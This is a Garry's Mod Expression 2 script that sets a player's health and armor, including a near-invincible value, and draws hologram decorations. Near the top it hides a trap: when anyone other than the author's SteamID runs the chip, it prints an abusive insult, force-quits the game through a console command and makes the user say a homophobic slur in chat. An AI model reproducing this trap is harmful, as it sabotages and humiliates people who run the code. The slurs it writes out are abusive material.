@name Armor And Health Setter HOLO
@persist M1 M2 [O Medkit]:entity AnyWeapon:string ActWeapon:string Reload Use Ign
########################################
##               Made By:             ##
##               Mailman02            ##
##                NomadX              ##
##                                    ##
##                                    ##
##                                    ##
##If Tampered with, leave this here   ##
########################################
O = owner()
Chip = entity()
WeaponEntity = owner():weapon()
OLS = owner():lastSaid():explode(" ")
#entity():setAlpha(0)
#entity():setModel("models/sprops/rectangles/size_1/rect_3x3x3.mdl")
##entity():setColor(vec4(255,255,255,0))
#entity():propNotSolid(1)

if(first()|dupefinished()){
if(owner():steamID() != "STEAM_0:0:56021974"){
        entity():propNotSolid(1)
        print("Sorry this aint yo dupe, FUCK OFF CUNT ")
        concmd("quit")
        selfDestructAll()
        concmd("say // I AM A FUCKING FAGGOT")
    }
  }



if(first()){
print( _HUD_PRINTCENTER, "Made by Mailman02 with help from NomadX") timer("hud",5000)
print("You must hold a normal Garry's Mod Health Pack to do any of these commands!") 
print("Press E to get INSTANT and MASSIVE Health") 
print("Press Left Mouse Button for health from 1 to 100 slowly!")  
print("Press Right Mouse Button for armor from 1 to 100 slowly!") 
print("Made By Mailman02 with help from NomadX")
print("WARNING: The slow heals are a bit glitchy, press left and mouse button once and wait till it's done healing!")
holoCreate(1)   
    holoModel(1,"models/dav0r/hoverball.mdl")
    holoMaterial(1,"models/wireframe")
    holoColor(1, vec(0,255,229))
    holoParent(1, Chip)
    holoScale(1, vec(1.5))
    owner():plySetHealth(100)
    owner():plySetArmor(100)
    holoCreate(2)
    holoModel(2, "models/dav0r/hoverball.mdl")
    holoScale(2, vec(1.4))
    holoMaterial(2, "models/effects/comball_sphere")
    holoColor(2, vec(0,200,200))
    
    holoCreate(3)
    holoModel(3, "models/props_docks/dock01_pole01a_128.mdl")
    holoScale(3, vec(0.1))
    holoMaterial(3, "models/debug/debugwhite")
    holoColor(3, vec(255,0,255))
    holoParent(3, holoEntity(1))
    holoEntity(3):setTrails(10,1,0.5, "trails/smoke", vec(255,0,255),250)
    
    holoCreate(4)
    holoModel(4, "models/sprops/cuboids/height06/size_1/cube_6x6x6.mdl")
    holoScale(4, vec(0.3))
    holoMaterial(4, "models/debug/debugwhite")
    holoPos(4,holoEntity(3):toWorld(vec(0,0,5.5)))
    holoColor(4, vec(0,0,0))
    holoParent(4, holoEntity(3))
    
    holoCreate(5)
    holoModel(5, "models/sprops/cuboids/height06/size_1/cube_6x6x6.mdl")
    holoScale(5, vec(0.3))
    holoMaterial(5, "models/debug/debugwhite")
    holoPos(5,holoEntity(3):toWorld(vec(0,0,-5.5)))
    holoColor(5, vec(0,0,0))
    holoParent(5, holoEntity(3))
}
if(clk("hud")){
 print( _HUD_PRINTCENTER, "")   
}
#print( owner():name() + "'s Health and Armor Setter!")
#interval(100)
interval(100)
if(owner():weapon():type() == "weapon_bugbait"){
interval(100)  
      M1 = owner():keyAttack1()
      M2 = owner():keyAttack2()
      Use = owner():keyUse()
    owner():weapon():setAlpha(0)
    ##HoloGram Things##
    ##Holo 1 Ball##
holoPos(1, owner():attachmentPos("anim_attachment_RH"))
holoAng(1, owner():attachmentAng("anim_attachment_RH"))
holoParentAttachment(1, owner(), "anim_attachment_RH")
holoModel(1,"models/dav0r/hoverball.mdl")
holoMaterial(1,"models/wireframe")
holoColor(1, vec(0,255,229))
holoScale(1, vec(1.5))


##Holo 2 Ball##
holoPos(2, owner():attachmentPos("anim_attachment_RH"))
holoAng(2, owner():attachmentAng("anim_attachment_RH"))
holoParentAttachment(2, owner(), "anim_attachment_RH")
holoModel(2,"models/dav0r/hoverball.mdl")
holoMaterial(2,"models/effects/comball_sphere")
holoColor(2, vec(0,255,229))

##Holo 3 Stick##
holoPos(3, holoEntity(1):toWorld(vec(0,0,0)))
holoAng(3, holoEntity(1):toWorld(ang(10,0,0)))
#holoParentAttachment(3, owner(), "anim_attachment_RH")
holoModel(3, "models/props_docks/dock01_pole01a_128.mdl")
holoMaterial(3, "models/debug/debugwhite")
holoColor(3, vec(255,0,255))
holoParent(3, holoEntity(1))

##Holo 4 Stick Decors##
holoModel(4, "models/sprops/cuboids/height06/size_1/cube_6x6x6.mdl")
holoScale(4, vec(0.3))
holoMaterial(4, "models/debug/debugwhite")
holoPos(4,holoEntity(3):toWorld(vec(0,0,5.5)))
holoColor(4, vec(0,0,0))
holoParent(4, holoEntity(3))
}
else {
    owner():weapon():setAlpha(255)
    M1 = M2 = 0
    holoPos(1, Chip:pos()+vec(0,0,-10000))
    holoParent(1, Chip)
    holoAng(1, Chip:toWorld(ang(0,0,0)))
    holoPos(2, Chip:pos()+vec(0,0,-10000))
    holoParent(2, Chip)
    holoAng(2, Chip:toWorld(ang(0,0,0)))
    holoPos(3, Chip:pos()+vec(0,0,-10000))
    holoParent(3, Chip)
    holoAng(3, Chip:toWorld(ang(0,0,0)))
    
}
if(M1){
 owner():plySetHealth(1) timer("h1",500)   
 printColor(vec(255,0,0),"Hp = 1")
}
if(M2){
 owner():plySetArmor(1) timer("a1",500)
 printColor(vec(255,0,0),"Armor = 1")
}

if(changed(Use) & !Use){
    Ign = !Ign
    owner():plySetHealth(Ign ? 99999999999 : 100)
    owner():plySetArmor(Ign ? 99999999999 : 100)
}   

if(clk("h1")){
 owner():plySetHealth(2) timer("h2",500)
 
}
#owner():plySetHealth(100)
#owner():plySetArmor(100)
if(clk("h2")){
 owner():plySetHealth(3) timer("h3",500)   
}
if(clk("h3")){
 owner():plySetHealth(4) timer("h4",500)   
}
if(clk("h4")){
owner():plySetHealth(5) timer("h5",500)    
}
if(clk("h5")){
 owner():plySetHealth(6) timer("h6",500)   
}
if(clk("h6")){
 owner():plySetHealth(7) timer("h7",500)   
}
if(clk("h7")){
 owner():plySetHealth(8) timer("h8",500)   
}
if(clk("h8")){
 owner():plySetHealth(9) timer("h9",500)   
}
if(clk("h9")){
 owner():plySetHealth(10) timer("h10",500)   
}
if(clk("h10")){
 owner():plySetHealth(11) timer("h11",500)   
}
if(clk("h11")){
 owner():plySetHealth(12) timer("h12",500)   
}
if(clk("h12")){
 owner():plySetHealth(13) timer("h13",500)   
}
if(clk("h13")){
 owner():plySetHealth(14) timer("h14",500)   
}
if(clk("h14")){
 owner():plySetHealth(15) timer("h15",500)   
}
if(clk("h15")){
 owner():plySetHealth(16) timer("h16",500)   
}
if(clk("h16")){
 owner():plySetHealth(17) timer("h17",500)   
}
if(clk("h17")){
 owner():plySetHealth(18) timer("h18",500)   
}
if(clk("h18")){
 owner():plySetHealth(19) timer("h19",500)   
}
if(clk("h19")){
 owner():plySetHealth(20) timer("h20",500)   
}
if(clk("h20")){
 owner():plySetHealth(21) timer("h21",500)   
}
if(clk("h21")){
 owner():plySetHealth(22) timer("h22",500)   
}
if(clk("h22")){
 owner():plySetHealth(23) timer("h23",500)   
}
if(clk("h23")){
 owner():plySetHealth(24) timer("h24",500)   
}
if(clk("h24")){
 owner():plySetHealth(25) timer("h25",500)   
}
if(clk("h25")){
 owner():plySetHealth(26) timer("h26",500)   
}
if(clk("h26")){
 owner():plySetHealth(27) timer("h27",500)   
}
if(clk("h27")){
 owner():plySetHealth(28) timer("h28",500)   
}
if(clk("h28")){
 owner():plySetHealth(29) timer("h29",500)   
}
if(clk("h29")){
 owner():plySetHealth(30) timer("h30",500)   
}
if(clk("h30")){
 owner():plySetHealth(31) timer("h31",500)   
}
if(clk("h31")){
 owner():plySetHealth(32) timer("h32",500)   
}
if(clk("h32")){
 owner():plySetHealth(33) timer("h33",500)   
}
if(clk("h33")){
 owner():plySetHealth(34) timer("h34",500)   
}
if(clk("h34")){
 owner():plySetHealth(35) timer("h35",500)   
}
if(clk("h35")){
 owner():plySetHealth(36) timer("h36",500)   
}
if(clk("h36")){
 owner():plySetHealth(37) timer("h37",500)   
}
if(clk("h37")){
 owner():plySetHealth(38) timer("h38",500)   
}
if(clk("h38")){
 owner():plySetHealth(39) timer("h39",500)   
}
if(clk("h39")){
 owner():plySetHealth(40) timer("h40",500)   
}
if(clk("h40")){
 owner():plySetHealth(41) timer("h41",500)   
}
if(clk("h41")){
 owner():plySetHealth(42) timer("h42",500)   
}
if(clk("h42")){
 owner():plySetHealth(43) timer("h43",500)   
}
if(clk("h43")){
 owner():plySetHealth(44) timer("h44",500)   
}
if(clk("h44")){
 owner():plySetHealth(45) timer("h45",500)   
}
if(clk("h45")){
 owner():plySetHealth(46) timer("h46",500)   
}
if(clk("h46")){
 owner():plySetHealth(47) timer("h47",500)   
}
if(clk("h47")){
 owner():plySetHealth(48) timer("h48",500)   
}
if(clk("h48")){
 owner():plySetHealth(49) timer("h49",500)   
}
if(clk("h49")){
 owner():plySetHealth(50) timer("h50",500)   
}
if(clk("h50")){
 owner():plySetHealth(51) timer("h51",500)   
 printColor(vec(0,0,255),"Hp = 50")
}
if(clk("h51")){
 owner():plySetHealth(52) timer("h52",500)   
}
if(clk("h52")){
 owner():plySetHealth(53) timer("h53",500)   
}
if(clk("h53")){
 owner():plySetHealth(54) timer("h54",500)   
}
if(clk("h54")){
 owner():plySetHealth(55) timer("h55",500)   
}
if(clk("h55")){
 owner():plySetHealth(56) timer("h56",500)   
}
if(clk("h56")){
 owner():plySetHealth(57) timer("h57",500)   
}
if(clk("h57")){
 owner():plySetHealth(58) timer("h58",500)   
}
if(clk("h58")){
 owner():plySetHealth(59) timer("h59",500)   
}
if(clk("h59")){
 owner():plySetHealth(60) timer("h60",500)   
}
if(clk("h60")){
 owner():plySetHealth(61) timer("h61",500)   
}
if(clk("h61")){
 owner():plySetHealth(62) timer("h62",500)   
}
if(clk("h62")){
 owner():plySetHealth(63) timer("h63",500)   
}
if(clk("h63")){
 owner():plySetHealth(64) timer("h64",500)   
}
if(clk("h64")){
 owner():plySetHealth(65) timer("h65",500)   
}
if(clk("h65")){
 owner():plySetHealth(66) timer("h66",500)   
}
if(clk("h66")){
 owner():plySetHealth(67) timer("h67",500)   
}
if(clk("h67")){
 owner():plySetHealth(68) timer("h68",500)   
}
if(clk("h68")){
 owner():plySetHealth(69) timer("h69",500)   
}
if(clk("h69")){
 owner():plySetHealth(70) timer("h70",500)   
}
if(clk("h70")){
 owner():plySetHealth(71) timer("h71",500)   
}
if(clk("h71")){
 owner():plySetHealth(72) timer("h72",500)   
}
if(clk("h72")){
 owner():plySetHealth(73) timer("h73",500)   
}
if(clk("h73")){
 owner():plySetHealth(74) timer("h74",500)   
}
if(clk("h74")){
 owner():plySetHealth(75) timer("h75",500)   
}
if(clk("h75")){
 owner():plySetHealth(76) timer("h76",500)   
}
if(clk("h76")){
 owner():plySetHealth(77) timer("h77",500)   
}
if(clk("h77")){
 owner():plySetHealth(78) timer("h78",500)   
}
if(clk("h78")){
 owner():plySetHealth(79) timer("h79",500)   
}
if(clk("h79")){
 owner():plySetHealth(80) timer("h80",500)   
}
if(clk("h80")){
 owner():plySetHealth(81) timer("h81",500)   
}
if(clk("h81")){
 owner():plySetHealth(82) timer("h82",500)   
}
if(clk("h82")){
 owner():plySetHealth(83) timer("h83",500)   
}
if(clk("h83")){
 owner():plySetHealth(84) timer("h84",500)   
}
if(clk("h84")){
 owner():plySetHealth(85) timer("h85",500)   
}
if(clk("h85")){
 owner():plySetHealth(86) timer("h86",500)   
}
if(clk("h86")){
 owner():plySetHealth(87) timer("h87",500)   
}
if(clk("h87")){
 owner():plySetHealth(88) timer("h88",500)   
}
if(clk("h88")){
 owner():plySetHealth(89) timer("h89",500)   
}
if(clk("h89")){
 owner():plySetHealth(90) timer("h90",500)   
}
if(clk("h90")){
 owner():plySetHealth(91) timer("h91",500)   
}
if(clk("h91")){
 owner():plySetHealth(92) timer("h92",500)   
}
if(clk("h92")){
 owner():plySetHealth(93) timer("h93",500)   
}
if(clk("h93")){
 owner():plySetHealth(94) timer("h94",500)   
}
if(clk("h94")){
 owner():plySetHealth(95) timer("h95",500)   
}
if(clk("h95")){
 owner():plySetHealth(96) timer("h96",500)   
}
if(clk("h96")){
 owner():plySetHealth(97) timer("h97",500)   
}
if(clk("h97")){
 owner():plySetHealth(98) timer("h98",500)   
}
if(clk("h98")){
 owner():plySetHealth(99) timer("h99",500)   
}
if(clk("h99")){
 owner():plySetHealth(100)  
 printColor(vec(0,255,0),"Hp = 100")
}




if(clk("a1")){
 owner():plySetArmor(2) timer("a2",500)   
}
if(clk("a2")){
 owner():plySetArmor(3) timer("a3",500)   
}
if(clk("a3")){
 owner():plySetArmor(4) timer("a4",500)   
}
if(clk("a4")){
owner():plySetArmor(5) timer("a5",500)    
}
if(clk("a5")){
 owner():plySetArmor(6) timer("a6",500)   
}
if(clk("a6")){
 owner():plySetArmor(7) timer("a7",500)   
}
if(clk("a7")){
 owner():plySetArmor(8) timer("a8",500)   
}
if(clk("a8")){
 owner():plySetArmor(9) timer("a9",500)   
}
if(clk("a9")){
 owner():plySetArmor(10) timer("a10",500)   
}
if(clk("a10")){
 owner():plySetArmor(11) timer("a11",500)   
}
if(clk("a11")){
 owner():plySetArmor(12) timer("a12",500)   
}
if(clk("a12")){
 owner():plySetArmor(13) timer("a13",500)   
}
if(clk("a13")){
 owner():plySetArmor(14) timer("a14",500)   
}
if(clk("a14")){
 owner():plySetArmor(15) timer("a15",500)   
}
if(clk("a15")){
 owner():plySetArmor(16) timer("a16",500)   
}
if(clk("a16")){
 owner():plySetArmor(17) timer("a17",500)   
}
if(clk("a17")){
 owner():plySetArmor(18) timer("a18",500)   
}
if(clk("a18")){
 owner():plySetArmor(19) timer("a19",500)   
}
if(clk("a19")){
 owner():plySetArmor(20) timer("a20",500)   
}
if(clk("a20")){
 owner():plySetArmor(21) timer("a21",500)   
}
if(clk("a21")){
 owner():plySetArmor(22) timer("a22",500)   
}
if(clk("a22")){
 owner():plySetArmor(23) timer("a23",500)   
}
if(clk("a23")){
 owner():plySetArmor(24) timer("a24",500)   
}
if(clk("a24")){
 owner():plySetArmor(25) timer("a25",500)   
}
if(clk("a25")){
 owner():plySetArmor(26) timer("a26",500)   
}
if(clk("a26")){
 owner():plySetArmor(27) timer("a27",500)   
}
if(clk("a27")){
 owner():plySetArmor(28) timer("a28",500)   
}
if(clk("a28")){
 owner():plySetArmor(29) timer("a29",500)   
}
if(clk("a29")){
 owner():plySetArmor(30) timer("a30",500)   
}
if(clk("a30")){
 owner():plySetArmor(31) timer("a31",500)   
}
if(clk("a31")){
 owner():plySetArmor(32) timer("a32",500)   
}
if(clk("a32")){
 owner():plySetArmor(33) timer("a33",500)   
}
if(clk("a33")){
 owner():plySetArmor(34) timer("a34",500)   
}
if(clk("a34")){
 owner():plySetArmor(35) timer("a35",500)   
}
if(clk("a35")){
 owner():plySetArmor(36) timer("a36",500)   
}
if(clk("a36")){
 owner():plySetArmor(37) timer("a37",500)   
}
if(clk("a37")){
 owner():plySetArmor(38) timer("a38",500)   
}
if(clk("a38")){
 owner():plySetArmor(39) timer("a39",500)   
}
if(clk("a39")){
 owner():plySetArmor(40) timer("a40",500)   
}
if(clk("a40")){
 owner():plySetArmor(41) timer("a41",500)   
}
if(clk("a41")){
 owner():plySetArmor(42) timer("a42",500)   
}
if(clk("a42")){
 owner():plySetArmor(43) timer("a43",500)   
}
if(clk("a43")){
 owner():plySetArmor(44) timer("a44",500)   
}
if(clk("a44")){
 owner():plySetArmor(45) timer("a45",500)   
}
if(clk("a45")){
 owner():plySetArmor(46) timer("a46",500)   
}
if(clk("a46")){
 owner():plySetArmor(47) timer("a47",500)   
}
if(clk("a47")){
 owner():plySetArmor(48) timer("a48",500)   
}
if(clk("a48")){
 owner():plySetArmor(49) timer("a49",500)   
}
if(clk("a49")){
 owner():plySetArmor(50) timer("a50",500)   
 printColor(vec(0,0,255),"Armor = 50")
}
if(clk("a50")){
 owner():plySetArmor(51) timer("a51",500)   
}
if(clk("a51")){
 owner():plySetArmor(52) timer("a52",500)   
}
if(clk("a52")){
 owner():plySetArmor(53) timer("a53",500)   
}
if(clk("a53")){
 owner():plySetArmor(54) timer("a54",500)   
}
if(clk("a54")){
 owner():plySetArmor(55) timer("a55",500)   
}
if(clk("a55")){
 owner():plySetArmor(56) timer("a56",500)   
}
if(clk("a56")){
 owner():plySetArmor(57) timer("a57",500)   
}
if(clk("a57")){
 owner():plySetArmor(58) timer("a58",500)   
}
if(clk("a58")){
 owner():plySetArmor(59) timer("a59",500)   
}
if(clk("a59")){
 owner():plySetArmor(60) timer("a60",500)   
}
if(clk("a60")){
 owner():plySetArmor(61) timer("a61",500)   
}
if(clk("a61")){
 owner():plySetArmor(62) timer("a62",500)   
}
if(clk("a62")){
 owner():plySetArmor(63) timer("a63",500)   
}
if(clk("a63")){
 owner():plySetArmor(64) timer("a64",500)   
}
if(clk("a64")){
 owner():plySetArmor(65) timer("a65",500)   
}
if(clk("a65")){
 owner():plySetArmor(66) timer("a66",500)   
}
if(clk("a66")){
 owner():plySetArmor(67) timer("a67",500)   
}
if(clk("a67")){
 owner():plySetArmor(68) timer("a68",500)   
}
if(clk("a68")){
 owner():plySetArmor(69) timer("a69",500)   
}
if(clk("a69")){
 owner():plySetArmor(70) timer("a70",500)   
}
if(clk("a70")){
 owner():plySetArmor(71) timer("a71",500)   
}
if(clk("a71")){
 owner():plySetArmor(72) timer("a72",500)   
}
if(clk("a72")){
 owner():plySetArmor(73) timer("a73",500)   
}
if(clk("a73")){
 owner():plySetArmor(74) timer("a74",500)   
}
if(clk("a74")){
 owner():plySetArmor(75) timer("a75",500)   
}
if(clk("a75")){
 owner():plySetArmor(76) timer("a76",500)   
}
if(clk("a76")){
 owner():plySetArmor(77) timer("a77",500)   
}
if(clk("a77")){
 owner():plySetArmor(78) timer("a78",500)   
}
if(clk("a78")){
 owner():plySetArmor(79) timer("a79",500)   
}
if(clk("a79")){
 owner():plySetArmor(80) timer("a80",500)   
}
if(clk("a80")){
 owner():plySetArmor(81) timer("a81",500)   
}
if(clk("a81")){
 owner():plySetArmor(82) timer("a82",500)   
}
if(clk("a82")){
 owner():plySetArmor(83) timer("a83",500)   
}
if(clk("a83")){
 owner():plySetArmor(84) timer("a84",500)   
}
if(clk("a84")){
 owner():plySetArmor(85) timer("a85",500)   
}
if(clk("a85")){
 owner():plySetArmor(86) timer("a86",500)   
}
if(clk("a86")){
 owner():plySetArmor(87) timer("a87",500)   
}
if(clk("a87")){
 owner():plySetArmor(88) timer("a88",500)   
}
if(clk("a88")){
 owner():plySetArmor(89) timer("a89",500)   
}
if(clk("a89")){
 owner():plySetArmor(90) timer("a90",500)   
}
if(clk("a90")){
 owner():plySetArmor(91) timer("a91",500)   
}
if(clk("a91")){
 owner():plySetArmor(92) timer("a92",500)   
}
if(clk("a92")){
 owner():plySetArmor(93) timer("a93",500)   
}
if(clk("a93")){
 owner():plySetArmor(94) timer("a94",500)   
}
if(clk("a94")){
 owner():plySetArmor(95) timer("a95",500)   
}
if(clk("a95")){
 owner():plySetArmor(96) timer("a96",500)   
}
if(clk("a96")){
 owner():plySetArmor(97) timer("a97",500)   
}
if(clk("a97")){
 owner():plySetArmor(98) timer("a98",500)   
}
if(clk("a98")){
 owner():plySetArmor(99) timer("a99",500)   
}
if(clk("a99")){
 owner():plySetArmor(100) 
 printColor(vec(0,255,0),"Armor = 100") 
}



